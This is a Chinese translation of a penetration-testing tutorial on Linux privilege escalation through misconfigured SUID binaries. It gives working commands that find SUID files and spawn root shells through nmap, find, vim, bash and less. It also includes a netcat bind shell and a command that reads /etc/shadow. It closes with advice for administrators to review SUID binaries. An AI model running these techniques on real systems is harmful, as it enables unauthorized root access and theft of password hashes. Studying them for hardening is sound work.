SUID
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:
1
2
3
4
5
6
7
8
|
Nmap
Vim
find
Bash
More
Less
Nano
cp
|
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
1
2
3
|
find / -user root -perm -4000 -print 2> /dev/null
find / -perm -u=s - type f 2> /dev/null
find / -user root -perm -4000 - exec ls -ldb {} \;
|
查找SUID可执行文件
以上所有二进制文件都将以root用户权限来执行,因为它们的权限中包含“s”,并且它们的属主为root。
1
2
|
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
|
SUID可执行文件——Nmap
Nmap
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
1
|
nmap -V
|
识别Nmap的版本
为了启动交互模式,可以使用Nmap参数“interactive”。
Nmap——交互模式
以下命令将提供一个提权后的shell。
1
2
3
|
nmap> !sh
sh-3.2 # whoami
root
|
通过Suid Nmap二进制文件获得Root Shell
此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。
1
|
exploit /unix/local/setuid_nmap
|
Find
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
1
2
|
touch pentestlab
find pentestlab - exec whoami \;
|
Find执行命令的功能
由于大多数Linux操作系统都安装了netcat,因此可以将提权后的命令提升为root shell。
1
|
find pentestlab - exec netcat -lvp 5555 -e /bin/sh \;
|
通过Find运行Netcat
连接到打开的端口就能得到一个root shell。
1
2
3
|
netcat 192.168.1.189 5555
id
cat /etc/shadow
|
通过Find取得Root Shell
Vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
1
|
vim.tiny /etc/shadow
|
Vim ——以root权限读取文件
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。
1
2
3
4
|
vim.tiny
# Press ESC key
: set shell= /bin/sh
:shell
|
Vim——Root Shell
Bash
以下命令将以root身份打开一个bash shell。
1
2
3
|
bash -p
bash -3.2 # id
uid=1002(service) gid=1002(service) euid=0(root) groups =1002(service)
|
Bash——Root Shell
Less
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
1
2
|
less /etc/passwd
! /bin/sh
|
Less——Root Shell
结束语
由于通过误设SUID的可执行文件可以轻而易举的实现提权,因此,管理员应仔细审查所有SUID二进制文件,看看到底是否真的需要使用提权后运行。在这个审查过程中,应该特别关注能够在系统上执行代码或写入数据的那些应用程序。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://pentestlab.blog/2017/09/25/suid-executables/
本文出处:http://bobao.360.cn/learning/detail/4512.html
!评论内容需包含中文